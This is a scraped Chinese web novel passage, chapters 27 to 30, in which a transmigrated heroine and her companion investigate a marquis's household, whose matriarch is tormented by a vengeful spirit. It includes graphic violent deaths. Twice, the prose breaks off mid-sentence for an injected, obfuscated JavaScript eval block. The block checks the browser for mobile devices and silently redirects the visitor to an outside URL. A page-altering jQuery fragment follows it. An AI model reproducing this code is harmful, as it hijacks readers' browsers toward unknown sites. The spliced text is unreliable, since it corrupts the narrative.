他吓得一颗心快要从嗓子眼里跳出来,偏在此时,一瓣槐花倏然飞过来,划伤了他的手背。 霎时,血珠迸溅! 冯力痛呼出声,紧接着,他才毛骨悚然地意识到一个问题。 这漫天飞舞的哪里是槐花?分明是无数细碎的刀刃! 这是遇上了刺客?谁这么大胆,竟敢行刺侯爵府的车辇? 他粗喘着。在这样癫狂的绝境中,忽而响起足靴踏过枯枝败叶的清脆声。 足步声由远及近,混着珠玉相撞、金器敲击的声响,分明是如此轻响,却压过了狂风的呼啸与冯力的牙关打颤声。 一道盛装高冠的身影自浓雾中缓步走出。 冯力双眼惊恐地大睁,仿佛鲜血泼溅的一抹红骤然映入眼帘。 被风拂起的绛红大衫、绣制了祥云瑞鹤的霞帔……金器敲击,是垂坠的禁步相撞嗡鸣。珠玉轻摇,翟冠上莹白珠箍细微地摆动。 目光下移,如此彰显贵族气度的翟冠之下,却现出一张极为年轻稚嫩的脸庞。 那姑娘脸色雪白如纸,唇色殷红胜血,整张脸白皙莹洁,不施粉黛,唯有眼尾点缀一颗米粒大小的痣,颜色浅淡。 一双秋水般黑白分明的眼中分明满是绝望与哀戚,却扯起唇角,惨淡地向他一笑。 这……这…… 过载的脑子嗡鸣一声,冯力双腿一软,彻底吓瘫了:“你……你……” 那姑娘眼梢微挑,柔声笑道:“还记得我吗?” 她的声音极轻,轻得仿佛是叹息,像一场抓不住的幻觉。 冯力来不及回答,那漫天“槐花”忽地卷起狂风,发了疯一般地朝着他扑过来,眨眼的瞬间,就将他整个人裹成了个大粽子。 锋利的细小刀片刺入皮肤,立刻见血。冯力浑身的肉都快被刀片剐了个干净,猩红的血不住地往下流淌,他惨叫着挣扎扑腾,一不留神整个人从马车上倒头栽了下来,脑袋“砰!”地一声砸在了青石砖上。 然而,细密的刀片依旧咬着他不放,甚至钻入了他张开的眼眶中,搅碎了他的眼珠! 幽寂昏暗的小巷中回荡着冯力痛苦的嘶号声,以及远处千花河边烟花炸开的爆裂声响。美丽却短暂的烟花盛景照亮了半个夜空,河岸边百姓的欢呼声与笑闹声宛如浪潮。 在这样一个人声鼎沸的夜晚,车夫冯力在无人知晓的小巷里断了气。 浑身皮肉溃烂、鲜血流尽,死不瞑目。 浓雾散尽,皎洁天幕中,唯有一轮孤月高悬。 那女人凝立不动,染了丹寇的指尖扣在腰间的玉带上,隐隐颤抖。 风止息了,长街再次寂寥空旷下来。 停靠在街边的侯爵府车轿忽而发出“笃!”的一声闷响。 似乎是轿子里的人恐惧到情绪崩溃之时,失手打翻了什么东西。 27. 第 27 章 金璧城不愧有“小京畿”的称号,城中一应规划、建筑俱是按照王城的规格而来,讲究一个左右对称,然而生活节奏却慢悠悠的,景色也好,大概是贵族亲眷们养老的地方。 城中青石砖道笔直开阔,道旁鳞次栉比点缀了商铺、摊贩。中央一条长河贯城而过,碧波清澈,锦鲤肥硕,两岸种满了各种花树,春和景明时桃花、梨花瓣铺满河面,随波逐流,甚是美丽,因而得名千花河。 叶清圆和谢尽芜暂住的客栈恰好临河,出了客栈走不久便是一座乌沉沉的拱桥,桥上行人撑着油纸伞远望谈笑,桥下乌篷船悠悠荡来。 桥边街巷里挤满了摊贩货郎,做些点心冰饮、字画篆刻的生意,测字打卦的先生插着袖子闭目养神,半天都不开张。 河对岸一排商铺中间时不时钻出些长竹竿,挑起错落有致的晒红辣椒与酒旗,杏黄的旗子迎风招展,酒香飘出几里。 叶清圆深吸了一口气,沉醉道:“这酒真香啊,闻起来有种酸酸甜甜的味道,像是葡萄酒。” 繁华热闹的街市上,嘈杂的吆喝声、笑闹声不绝于耳。 转头看谢尽芜,却见他眉眼深黑,脸上不见一点笑。 谢尽芜不喜欢人多的地方,对于她口中所谓的果味儿酒香也没兴趣,干脆冷着脸不置一词。 叶清圆没得到回应,便有些好奇地回头看了他一眼。 谢尽芜估计是真的热到了,干净清俊的一张脸被太阳晒得白里透红,艳如桃花。偏他被周遭的人声吵得头疼,脸上神情沉肃得不像话,嘴唇抿着,一双清透漂亮的眼眸冷得像是深山里的冰,乍一看竟有种闹别扭似的反差感。 叶清圆就这么抬头看他,看着看着忽然就笑了。 谢尽芜平时总一副冷漠疏离的模样,实则总有些莫名的小脾气。有脾气还不讲,非要憋在心里,抿着薄唇一脸不悦的样子,生怕别人看不出来。 成天憋着,最后还不是把自己憋得心理变.态了? 叶清圆越瞧他越想笑,这大反派黑化之前,倒有些莫名的可爱。 谢尽芜终于察觉到她带着笑意的目光,一张微红的脸立刻沉肃下来,冷声道:“怎么?” 叶清圆举起手里的团扇给他扇风:“热了吧?” 她的脚步一顿,谢尽芜下意识就和她一起停下了。 二人站在嘈杂喧闹的街市边,她的团扇上不知熏了什么香,又或许是她身上的香,清甜馥郁的花香随凉风一起扑面而来,拂动他的碎发。 谢尽芜不自在地偏过头去,腰背挺拔得有些发僵,脸颊倒比方才晒太阳时更热了。 周围人声鼎沸,行人来往不可避免地碰撞到二人,叶清圆拉着他又往路边走了些,手上动作却未停过。 她举扇轻摇,扇柄垂挂一条红穗,丝丝缕缕拂绕在她纤细的皓腕上,宛如新雪上溅了三尺红梅。 谢尽芜的喉咙有些发紧,闷声道:“不热,给你自己扇。” 叶清圆凑近了他,含着笑意的声音在他的脖颈处响起:“我不热。” “而且我方才还吃了一碗乳糖浇,冰冰凉凉的,可甜了。” 她的呼吸间有甜腻凉爽的香气,细若游丝般拂在谢尽芜精瘦的脖颈,嗔怪似的:“谁让你不吃?” 谢尽芜脸上的表情很明显凝滞了一瞬。 叶清圆笑过就不管他了,一双大眼睛不住地转悠,很快就被路边摊贩上摆着的小吃吸引了注意力。 摊贩老板极有眼力劲儿,立刻热情招待:“新出炉的鲜花饼,连里头的馅料都是今早刚从河边花树上摘的!二位尝尝?” 叶清圆老早就嗅到了一股清甜的香气,此时不由垂涎道:“都有什么馅的呀?” 老板笑呵呵地掀开竹笼,裹着各类花香的热气顿时扑面而来:“有月季、茉莉,还有桃花。今早还做了一笼牡丹花馅儿的,早早就卖光了,可惜姑娘来晚一步。” “要桃花馅的,要两个。”叶清圆纤白的手指点了笼屉上泛红的那个,随口笑道,“老板生意这么好呀。” “好嘞!”老板把两个鲜花饼用油纸包好递给她,“这几日是碰巧赶上了千花灯会,许多周边城镇的百姓也早早赶来观赏,我们这样摆摊的也跟着沾了光,生意比平日里好了许多。” ——千花灯会。金璧城副本中最重要的一条线索。 叶清圆刚要从荷包里取钱,视线里忽地现出一只骨节分明的手,谢尽芜竟已将银钱递给了老板。 他付过钱,连看都没看叶清圆一眼,仿佛由他出钱是一件极为理所当然的事。 叶清圆睁大双眼,将自己的银钱在他眼前晃了晃:“谢尽芜?” “嗯?”他扭过脸来,半晌才明白她的意思,“无妨。” 叶清圆忍不住笑了,将手中鲜花饼分他一份,又向老板打听道:“我们也是从外地来,久闻千花灯会的热闹景象,特意来开开眼界。” 老板当即来劲了:“看出来了!想必你们二位还是有托在身?” 有托在身? 叶清圆眼底闪过一丝疑惑,她想起绘弦在画舫上说过的话:碎雪障目,青燐挽风;婆娑花影,血染长亭。 “最近金璧城发生了什么奇怪的事吗?” “什么?你们不是侯爵府请来的?”老板的神情顿时有些失落,“嗨,今早轻山观里的道长乘坐侯爵府的公车进城,我还以为侯爵府又请了道士和江湖术士来给老夫人看病呢!” 这时,旁边一名老板凑过来,反驳他道:“我早告诉你了,那些道长只是来看灯会的而已,你还不信。” “那些破灯有什么好看的?你以为人家道长也对这些俗物感兴趣?”老板嗤之以鼻。 叶清圆听得一阵纳闷,古人云:东风夜放花千树,更吹落,星如雨。如此繁华又难得的盛景,轻山观的道长虽是出家之人,却怎么不能感兴趣了? 那老板看出她的疑惑,压低了声音道:“姑娘有所不知,这轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14445939|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山观的道长讲究的是清修,既不许人进观上香,也从不下山,怎么可能来此看什么灯会?” 恰在此时,密集人群中忽起一阵嘈杂喧哗之声,长街尽头马蹄飒沓,扬起烟尘三尺,行人当即避让一旁。 一队车马浩浩荡荡地穿越青街,直奔城外而去。 片刻的肃静之后,烟尘散尽,行人百姓不由得伸颈望去,待看清了那马车的规制之后,顿时交头接耳、窃窃私语起来。 “是侯爵府的公车!侯爵府果然出乱子了!” “那崔老夫人果真是被妖缠上了。” 金璧城虽遍地是王公贵族,民风却开放,尤其是近日侯爵府出了这么大一桩晦气事,纵使侯爵府再以权势压人,能挡得住众勋爵亲眷不当面发问,却挡不住百姓的悠悠众口。 叶清圆捧着鲜花饼站在原地,望着车马远去的方向若有所思。 原作者对于金璧城副本的描写,大多着墨于谢尽芜与江、许二人的矛盾爆发,侯爵府的案情梳理却像是被狗啃了似的杂乱不堪。她对于接下来的走向实在有些束手无策。 正愁闷间,眼前视线忽地被一道高大的身影笼罩住了。 谢尽芜不知何时靠近到她的身旁,眼帘低垂,眉心蹙起,微抿的唇角显露出几分不悦:“这么好看?” 叶清圆仰头看他,对他突如其来的不高兴感到莫名其妙,老老实实点头道:“还不错啊。” 侯爵府的七香车,连雕花车盖上都挂了青铜的小铃铛,车帘被风掀起时都有一股清冷的檀香。 如此精巧阔气的物质文化遗产,谁不会多看两眼? 谢尽芜的脸色却更难看了,他的半张脸隐在柳枝投下的阴影中,一双黑眸清润冷冽得仿佛深泉,叫人不寒而栗。 他冷冷地睨了叶清圆一眼,微红的薄唇开合:“那你就在这儿看个够吧。” 说罢,竟转身径自离开。 “怎么了?”叶清圆被他的态度也弄得火气上涌,没好气地嘟囔了一句,“莫名其妙!” 她恨恨地咬了一口桃花饼,花香在唇齿间弥漫开来。 蓦地一抬眸,叶清圆忽有所感,竟惊悚地瞧见人群之中有位白衣公子,正唇角带笑温柔含情地盯着她望,一双桃花眼弯成了月牙。 “不……”叶清圆怔住了,思绪飞转,反应过来的时候不由得叹了口气,“公子,你误会了。” 那白衣公子笑得温柔眷恋:“姑娘方才与在下对视许久,可是有话要讲?” 流年不利啊,身边带着一个时常犯病的谢尽芜不说,竟还遇到自恋狂。叶清圆绝望地闭上了双眼,片刻后蓦地睁眼,脸上浮起意味不明的笑容:“无话要讲,公子挡住我看七香车了而已。” 说罢,完全不在意白衣公子的脸色,捧着桃花饼转身就走,荔枝色的裙边随动作漾开,宛如浅粉色的海浪。 白衣公子站在原地,怔怔地看着她离去的纤细身影,脸上甚至浮现了一丝痴迷的笑容。 28. 病重 侯爵府坐落在千花河西岸的幽僻之处,远离车马喧嚣与街市的人声鼎沸。 潘府虽是武将世家,府邸规划得却颇具风雅情致,粉墙黛瓦托举着繁茂如云的草木绿树,院内浓荫遍地,回廊精巧,一应丫鬟仆役们做活时皆是低眉顺眼、步伐轻快,整座府邸幽静得仿佛无人居住一般。 马车缓缓停在府邸前,一只骨节分明的手挑开帘子。府前的持刀侍卫见状忙不迭弯身行礼:“二爷。” 潘淳玉下车站定,深青的圆领袍角被风拂起一道利落的弧度。 侯爵府二爷潘淳玉,年龄二十有六,武将出身,如今担任金璧城“禁卫军”右统领一职。 他相貌生得不差,脸型五官的线条颇为流畅,那双眉眼笑时也称得上多情温柔,像极了侯爵府老夫人年轻时的模样,只可惜,他常年身居高位而养出一副傲慢轻蔑的性情,眉宇中也早早染上了一股狠戾之意。 侯爵府的大门开启,潘淳玉脸色阴沉,转头对随行侍卫吩咐了几句,抬足大步迈了进去。 绕过一座琉璃影壁时,鬓发斑白的老管事躬身迎了过来,轻声禀告道:“二爷,老夫人方才喝了药,这会子正要午睡呢。” 潘淳玉的眉头紧蹙着,神情很不悦的样子:“喝药?又是那群轻山观的道士给开的方子?” 老管事躬身称是,补充道:“老夫人旁的不信,先前宫里御医也给开了安神宁心的方子,可老夫人说那些都无用……” “扔了?”潘淳玉抬手将垂坠的花枝拂到一边,穿过风雨连廊后到了后宅,“还是喝过又吐了?” “扔了。”老管事止步于此,小声补充道,“老夫人亲自派车去轻山观请的各位道长,一刻钟以前才刚离开。” 潘淳玉的脸色瞬间就难看了。 一提起这个他就来气,近日因着千花灯会的举办,街市上本就热闹非凡、人声鼎沸,偏偏崔老夫人非要在这种时刻请一群道士入府,事后还大张旗鼓地派了侯爵府的车马去送,生怕城中百姓不知道府里出了怪事一般。 他近日本就忙得焦头烂额,听闻此事后烦闷得快要喘不过气。尽管如此,还是耐着性子搁下手头政务,立刻赶了回来。 潘淳玉闭上眼呼出一口气,眉目间满是遮不住的燥郁和疲惫:“那群道士怎么说的?” 老管事斟酌片刻,低声道:“二爷,坑蒙拐骗之人的妄言,不可信。” 潘淳玉垂下眼睫,一双狭长的眼中充满了凌厉与压迫:“大胆说。” “这……是,”老管事对自家二爷的脾性一清二楚,心知这次是绝对瞒不过去了,只好删繁就简道,“那些人说,老夫人的病都是早年……咳,的报应,是治不好的。” “荒唐!”潘淳玉的眼里瞬间漫出愠怒,他不好指摘母亲的不是,只骂那群道士,“胡言乱语!” 末了,又压着嗓子斥责道:“你又是怎么办事的?轻山观的人要来,你就不会直接把他们轰出去?” 管事何其无辜,无奈道:“老夫人亲口吩咐的事,我们这些做下人的,哪有置喙的余地?” 潘淳玉也是气急攻心,顺过气来也不难为他:“我也是随口一说,祁叔,别往心里去。” 老管事连忙躬下身来,“二爷有难处,这些我都看在眼里。” 他做了个“请”的手势,低声劝慰道:“老夫人此刻刚吃完药,精神头有些不大好。二爷待会说话的时候,还是耐心些好。和言细语的,大家都好谈事情。” 潘淳玉压低了眉头,深吸一口气:“嗯。” 过了月洞门便是崔老夫人所居住的院落,院中花木繁盛,檐下铁马叮咚,竹帘半卷,几名侍女身穿浅碧色春衫忙碌其间,乍看过去就像是一副颇具景致情趣的画儿。 可惜潘淳玉向来视这些女孩子们为空气,此时又脸黑如锅底,不发脾气都是好的。他抬手挥退一应侍女,推门走进了这个弥漫着怪异气息的正房。 兴许是将要午睡的缘故,屋内并未点灯,连帘帐都放了下来,唯有当中紫金香炉中轻烟丝丝缕缕地漫起,整个房间昏沉朦胧的一片。 雕花木床的床帐重重叠叠堆成了山,屋内气味并不好闻,有种腐朽糜烂的沉闷味道,潘淳玉忍不住蹙了眉。 窗外微风轻抚,透过直棂窗的缝隙溜进来,纱帘摆动,午后的明暖阳光照不清屋内的昏暗景象。 崔老夫人闭目仰靠在床头,呼吸沉重,哮喘一般,爬满了皱纹的眼睑下是遮不住的疲倦与乏力。 她的皮肤苍白如纸,脸颊却浮现出两团病态的殷红,满头乌黑的鬓发如鸦羽般垂落,乍一看简直像能工巧匠用纸扎的人。 察觉到脚步声走近,崔老夫人缓慢地睁开双眼,一双点漆似的狭长明眸望住了来人,笑着唤道:“淳儿怎么来了?” “听说娘又不好好吃药,儿子担心。” 潘淳玉走到床榻边坐下,顺势握住了她的手。 他的眼中还有未消的戾气,放轻了声音关怀道:“现在感觉怎么样?” 崔老夫人笑着回握他的手,她呼吸沉重而缓慢,每一次喘气都像是在胸腔里拉风箱,扯起的唇角有说不出的疲倦:“好多了。方才道长们特地来此开了药方,我喝过之后倒是有了些精神气。” 她费劲地喘了一口气,又低声埋怨道:“你总让那些没用的医官来瞧,他们除了开些滋补的药,还能说出什么道道来?还是轻山观的道长们见多识广,一杯水喝下肚,强过那些又贵又没用的补药百倍。” 潘淳玉低着头,本就不善的脸色逐渐难看起来,他强忍着怒意开口:“他们给母亲开的什么药?可交由府上医师查验过?” “道长们的秘方怎可轻易示人?”崔老夫人不悦,“举头三尺有神明,你我都不许对道长们不敬。” “娘,当初那群道士只不过……”潘淳玉话语一顿,似乎回忆起了某些极为痛苦的往事,硬生生截住了话头,“总之,医官们开的补药不许再丢掉,我会派人盯着娘喝药的。” 崔老夫人仰躺在枕头上,一双狭长眼眸中的亮光逐渐涣散,显然是疲倦到了极点:“随你吧。” 微风一阵阵吹来,檐角悬挂的铁马发出叮咚的清脆响声。 潘淳玉眼见着劝不了她,只好硬生生忍下一口恶气,耐着性子又宽慰了几句,转身离开后宅。 他这几日忙到焦头烂额,接连几日都是早出晚归,压根来不及向崔老夫人问安。若非昨日府里急匆匆派人传话,他甚至都不知道母亲在看完灯会回途的路上,竟莫名地昏迷在了轿子里。 做儿子的失职到这个份上,潘淳玉自责又懊恼,偏在此时,市井坊间竟起了流言,说崔老夫人那日分明不是虚弱昏倒,而是被一只妖给缠住了! 传言说得煞有介事,说那只妖就看中了侯爵府的泼天富贵,缠住崔老夫人就是为了鸠占鹊巢。可惜那妖的法力不太够,尚且无法将崔老夫人一击致命,只好抽丝一般慢慢折磨。 待老夫人断气的那一刻,就是妖怪附身成功之时。 堂堂侯爵府的当家主母、朝廷亲封诰命夫人,竟这般被百姓传闲话、胡乱臆测!潘淳玉无论如何都忍不下这一口恶气,可是当真无可奈何,他纵使手段再狠,能利用手中权势堵住各级官员勋贵的嘴巴,难道还能管得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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崔老夫人用尽全身力气咬紧牙关,仍旧恐惧到上下牙齿扣得咔咔作响。 她难以置信地盯着帐顶:“你找错人了……你找错人了!” 帐顶上以银线绣满了葫芦、寿桃的纹样,多福多寿,本是极好极美满的寓意,此刻却刺得她双眼针扎一般剧痛,几欲流泪。 那叹息又一次响在耳畔,说不出的遗憾与惋惜之意:“妹妹,这床榻睡得可舒坦?” 崔老夫人的脸色白得发青,呼吸间已有浓重的血腥气漫上来,她顾不得被死死掐住的干瘦脖颈,奋力挣扎出声企求道:“你害了我……放过淳儿……放过淳儿,求你!” “放过?”那道声音骤然变得尖利怨恨,刀尖似的剐着崔老夫人的耳膜,“你这黑心肝的东西,也配和我谈条件?” 崔老夫人尚且来不及开口,只觉鼻腔里被灌入一阵冰霜般的凉意,紧接着肺部传来撕裂般的剧痛,她霎时呼吸受阻,布满红血丝的双眼蓦地睁大,干呕了几声后,猛然呛出一大口浓稠腥臭的血来! 挣扎的动作逐渐缓慢、止息,她溺水濒死般地喘了一口气,脑袋无力地偏向枕头一旁,彻底昏死过去。 浓雾散尽,微风再度吹拂窗帘,明暖的阳光洒落到屋内。 院里忙活着的丫鬟们终于听到了这一声惊天动地的闷响。丢下扫帚跑到屋内一瞧,顿时吓得腿都软了,尖声叫道:“来人哪,快来人——” “老夫人吐血了,快来人!” 29. 桃花 “家母至今昏迷不醒,请了医师来瞧却也瞧不出什么,只说夜里受了风寒,没什么大碍。” “坊间流言……想必诸位也有所耳闻,”潘淳玉表现得温和有礼,乌浓的眼睫抬起,带着浓浓的倦意,“今日来此,莫非是为了降妖?” 廊檐下寂静无人,兴许是老夫人近日总昏迷的缘故,府里氛围愈发沉闷起来,静得甚至能听到远处楼阁的丝竹声。 顾雪庭微扬起脸,含笑道:“究竟是否有妖作乱,现在尚未可知。我们只是茶余饭后听说侯爵府中出了一些怪事,叫潘小侯爷烦躁忧心许久,故特意来此探查一番。” 潘淳玉站在廊下,看着院里满地的绣球花簇随风轻摇。他眉宇中是遮掩不住的沉郁与纠结:“如此,麻烦诸位了。” 顾雪庭温和知礼地与他客套一番,转回身,对着叶清圆和谢尽芜无声地笑弯了眉眼。 该说不说,系统的每一道任务都有它的用意。比如“与顾雪庭成为同伴”。 进入金璧城之后,顾雪庭理所当然地与他们二人结伴而行。他既能感知到死气,对于城中的怪异气息也更为敏感。不过半日过去,他就孤身一人找上了侯爵府的二爷潘淳玉,以探查异状的名义,将叶清圆、谢尽芜都带进了守备森严的侯爵府。 叶清圆自然是乐意的,毕竟她要遵循原书的剧情线设置,尽快完成金璧城副本。 而谢尽芜呢,她看不透他的心思。之前在街市上,他还误以为她在欣赏帅气公子,当场给她甩了脸色,一双清透漂亮的眼眸冷了个彻底,无论叶清圆在后面怎么唤他,他都不肯停下来等她一步。 夏日午后的阳光被廊檐遮住大半,照映在绣球花簇上,依旧是刺目的光亮。 叶清圆睡了个舒服的午觉,心里早就不恼了,只无奈地叹了口气,盘算着该找个机会和他说清楚。 一行人穿过风雨连廊,直奔绿木掩映的后宅院落。 推开门,一股浓重的血腥气混合着药草味扑面而来,叶清圆缓步走进房屋,眉头微不可察地蹙起。 整个房屋中弥漫着腐烂浓腥的气息,她顿时觉得自己像是走进了某种大型生物的胃里,呼吸间都是肉糜与消化液混合的奇异味道。 木窗半开着,帐子也系了起来,屋内一片光明。崔老夫人在床榻上昏睡着,本来白皙干净的面庞蒙上一层瘆人的青黑色,她的胸腔剧烈起伏着,喉咙里发出痛苦的呻.吟声。 两名丫鬟跪坐着侍立一旁,低声啜泣着,手中帕子不时擦拭着崔老夫人唇角溢出的血迹。 潘淳玉本就担忧愁闷,此时见了这等场景,脸色霎时苍白如纸。 他顾不得礼节,大步走到床边,焦急唤道:“母亲,母亲!” 崔老夫人毫无反应,唯有鼻腔中流出一道细细的血流。 顾雪庭双手负在身后,缓步踱至床榻边,表情平静地看了她一眼:“命不久矣,准备后事吧。” 潘淳玉闻言脸色骤然变了,转过身怒道:“你说什么?!” 他本就是武将出身,身量高大,肩背结实有力,此时眉宇间又怒意弥漫,给人一种猎豹捕食般蓄势待发的危险气质。 “令堂不光印堂发黑,整张脸都快要被死气笼罩了。”顾雪庭漫不经心笑了笑,“还多亏了参汤吊命。不然,小侯爷现在还穿什么公服呢?披麻戴孝才是正经。” “你这混账!”潘淳玉的身形微微颤抖,声音骤然一厉,“口出狂言!……” 他尚未说完,顾雪庭轻笑,手掌颇为随意地在他肩头拍了一下,却将他的身躯推得重重向后踉跄! 潘淳玉猝不及防被一股大力袭击,砰砰连退三步。他勉强站稳了身形,抬起脸来,眼中满是震惊。 顾雪庭分明身形削瘦,脸色苍白,无论怎么看都是弱不禁风的模样。谁也没想到,他竟有这般恐怖的力气。 眼看着事态要失控,叶清圆赶忙上前一步,温声打圆场道:“我们是如实告知崔老夫人现在的情况。我这位朋友说话是……粗鲁无礼了些,不过他也是一番好意,还请小侯爷多多担待。” 她说到“朋友”二字的时候,谢尽芜殷润的眼眸微微睁大,垂下眼帘看了她一瞬。 叶清圆忙着缓和气氛,并未注意到他的目光。 “你若是好好配合我,兴许老夫人还有的活。”顾雪庭双眼含笑。 “阁下还是注意些言辞吧,潘府的大门不是你想出就出得去的!” 潘淳玉蹙眉瞪视他许久,轻哼一声,侧身让开,“请吧。” 顾雪庭走到床榻边,居高临下地观察崔老夫人片刻,俯身将她脖颈间的衣领拨开了一点。 这个动作可谓是无礼至极,然而在场之人皆是屏息凝神,并未上前制止。 顾雪庭也收敛了唇角的笑意,手指轻微扯开了老夫人雪白的衣领,露出她的一小片脖颈皮肤。 在场众人脸上的神情皆是一变。 那苍白的喉咙之上,竟赫然显出一道清晰的勒痕! 潘淳玉也吓了一跳,怒然质问道:“这是谁做的?活腻了?!” 两个小丫鬟顿时跪地,吓得瑟瑟发抖。顾雪庭淡声道:“你不必苛责她们,这种痕迹,不是人能弄出来的。” 他有意地看了丫鬟们一眼,潘淳玉会意,挥手让这二人都退出去。 “小侯爷,请把人扶起来吧。” 顾雪庭从袖笼中取出一支短香,手腕一晃,轻烟袅袅缠绕起来。他俯下.身将短香凑近了崔老夫人的口鼻,待她吸入一口轻烟之后,手掌蓦地在她心口一拍。 崔老夫人被烟呛了一口,当即咳得惊天动地,随即鼻翼翕动,呕出大口青黑的血来。 屋内腐烂浑浊的气息霎时浓重起来。叶清圆对气味本就敏感,闻到这个味道便忍不住有些头晕,像是在密闭的空间里待久了,缺氧一般。 她后撤半步,下意识就往谢尽芜身旁靠了靠。感觉到他身上那股浑然天成的清爽冷香后,才勉强缓过来一些。 谢尽芜本是冷眼看顾雪庭表演,此时察觉到身旁有人,便颔首看她:“怎么了?” 叶清圆牢记“不可触碰谢尽芜”这一教训,与他保持着适当的距离,扬起脸笑道:“站在你身边,更有安全感。” 谢尽芜的眼睛睁大一瞬,很快扭过脸去,不再理她。 潘淳玉的眉头紧皱着,扶住崔老夫人肩膀的手都在颤抖:“这……这怎么回事?” 顾雪庭神色未变,指向地上那一滩血:“小侯爷仔细看。” 话音落下,众人的目光一齐 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顾雪庭负手立在窗边,眼眸中漫出戏谑的笑意:“办法嘛,一时半会儿不好想,小侯爷暂且缓上几天吧。” 潘淳玉不悦道:“那这几日里,若是妖物再次作乱……” 叶清圆从荷包中取出几张符纸,“将这些符纸贴在门窗,若今夜再有妖物作乱,可暂且抵挡一阵。这张黄神驱鬼符,可以用火烧成灰,将灰与黄酒混合涂抹在手心。” 潘淳玉接过符纸,神情凝重地叹了口气,低声道谢。 叶清圆坦然道:“那我们先行告退。若有什么要紧事,可至千花河畔的客栈相寻。” - “那晚与崔老夫人同行的还有轿夫、侍卫,可为何最后中招的只有她自己?” 叶清圆绞尽脑汁地思索着:“难道是侯爵府的仇人,找人作法在害她?” 她人生的十七年都在爱意中长大,对于这种奇异诡谲的案件,甚至阴谋诡计,实在不太熟悉。 她的视线落了下来,拈起一块桃花糕送入口中,含混不清道:“我实在想不到别的可能性了。” 转身看,谢尽芜端坐在桌边垂眸倒茶,黑润幽邃的眼眸中是一派疏离漠然。 叶清圆无奈地发出一声叹息。 进入侯爵府之后,谢尽芜始终是一言不发,秉持着对所有事都漠不关心的态度。而顾雪庭呢,则是纯粹的玩乐心态,不仅不配合,还总存了看热闹不嫌事大的心思。 这让叶清圆在梳理案件时非常苦恼。 并且,谢尽芜对于顾雪庭似乎有种莫名的敌意,难道是因为恶人之间的同类相斥吗? 叶清圆思索一瞬,把自己给逗笑了,噗嗤一声。引得谢尽芜抬起眼帘,不解地望了过来。 他清隽的脸被漫天霞晖映出一层淡淡的金色光芒,漂亮清澈的眼眸微微睁大,看起来竟有几分无辜与茫然。 叶清圆的脸颊霎时染上薄红:“……” “咳,没什么。我要练习写符了,你不许看我。”她盯着他那张脸,鬼使神差地补了一句,“你一直看我,我会紧张的。” 谢尽芜不明所以,颔首道:“嗯。” 30. 灯会 直棂窗半开着,熔金般的夕阳大片大片泼洒进来。 窗外是一株高大的玉兰树,嶙峋清瘦的枝头随风轻颤,裹着清甜花香的晚风拂过案头,把明黄符纸卷得哗哗作响。 叶清圆端坐在案前,纤细玉白的手腕悬在半空,手中持一支蘸满朱砂的紫毫笔,正凝神静思。 自她拿到那本记载了符箓的古籍以来,几乎每日都会抽出时间练习画符。 画符一事,重在为符“点灵”。可惜,她现在还停留在把那些繁杂的符咒画正确的阶段,对于点灵之后能发挥多大的威力,就超出她的努力范围了。 而且,虽然她体内有本命珠的存在,但她根本不知该如何运用。本命珠又不是什么多多益善的好物,其实相当于在体内埋了个不定时炸弹。 叶清圆凝神聚气,细白的手指抵住朱笔,不过几息之间,一道黄神驱鬼符顺利画好。 她轻呼了一口气,转头看向谢尽芜,眼中含着隐隐的期待:“怎么样?” 谢尽芜搁下茶盏,走过来看了一眼,淡声道:“勉强入眼。” 他身量好高,腰背又向来挺拔,居高临下望着她时,疏离清透的眼眸中总有一股冷傲睥睨之意。 叶清圆顿时有些不悦,唇角向下弯起一点弧度。她扭过脸去不理他,把身子坐正了,取出一张新的符纸铺好。 花香清甜,余韵悠长。窗外是浩大而烂漫的落日,沿河街市却逐渐热闹起来,晚风送来遥远而模糊的谈笑声。 屋内一时寂静,唯余朱笔落在符纸上的轻微摩挲声。 叶清圆垂眸认真画符,整个人被落日余晖笼罩住,净白细腻的脸颊也被镀上一层淡淡的暖光,像是烛火下的白釉。 “是你要问,”谢尽芜与她保持着适当的距离,稍攒的眉头中也染上几分迷茫,“问了你又不高兴。” 叶清圆被他的态度激怒了,哼笑一声道:“是啊,谢公子只不过实话实说而已,我有什么不高兴的?” 她刻意加重了“谢公子”三个字的语气,像是要跟他较劲似的,话里话外明显带着嘲讽之意。 谢尽芜眼中冷光一闪,神情显出肃戾,蹙着眉看她坐在那里整理符纸。 她那张脸在余晖金光的映照下,浅笑时分明是极端丽的相貌,谁知她哪儿来这么大的气性,脸颊都气得鼓起来了,一张口就是对他冷嘲热讽。 竟又唤他“谢公子”,他们同行许久,还是生疏至此的关系吗? 谢尽芜揣摩不透她的心思,半晌后,他的睫毛颤动了一下:“若你想听违心之言,也可以。” 叶清圆扭过脸朝向他,浓密的睫毛翘起:“什么违心之言?” “比如,叶姑娘书符时心思澄净,神思凝聚,”谢尽芜想了想,又道,“真如作画般行如流水。” 他的语气太过冷静自持,神色也一本正经。叶清圆怔了两秒才反应过来,丢下笔,怔然道:“你笑话我是不是?” 谢尽芜微红的唇翘起,眼中也漫出笑意:“不敢。” 叶清圆站了起来,瓷白细嫩的脸颊被激得起了一层薄红,两道长眉也生动地蹙起来:“你竟然开起我的玩笑了!” 谢尽芜忍着笑意移开视线,目光落在窗外那株清瘦嶙峋的玉兰树梢,片刻后终于还是没忍住,轻笑出声。 他笑起来简直好看极了,一双冷泉似的眼睛染上了暖意,倒映着窗外碎金般的暮霞,浮光跃金。是再好不过的唇红齿白、脸颊干净的清隽少年。 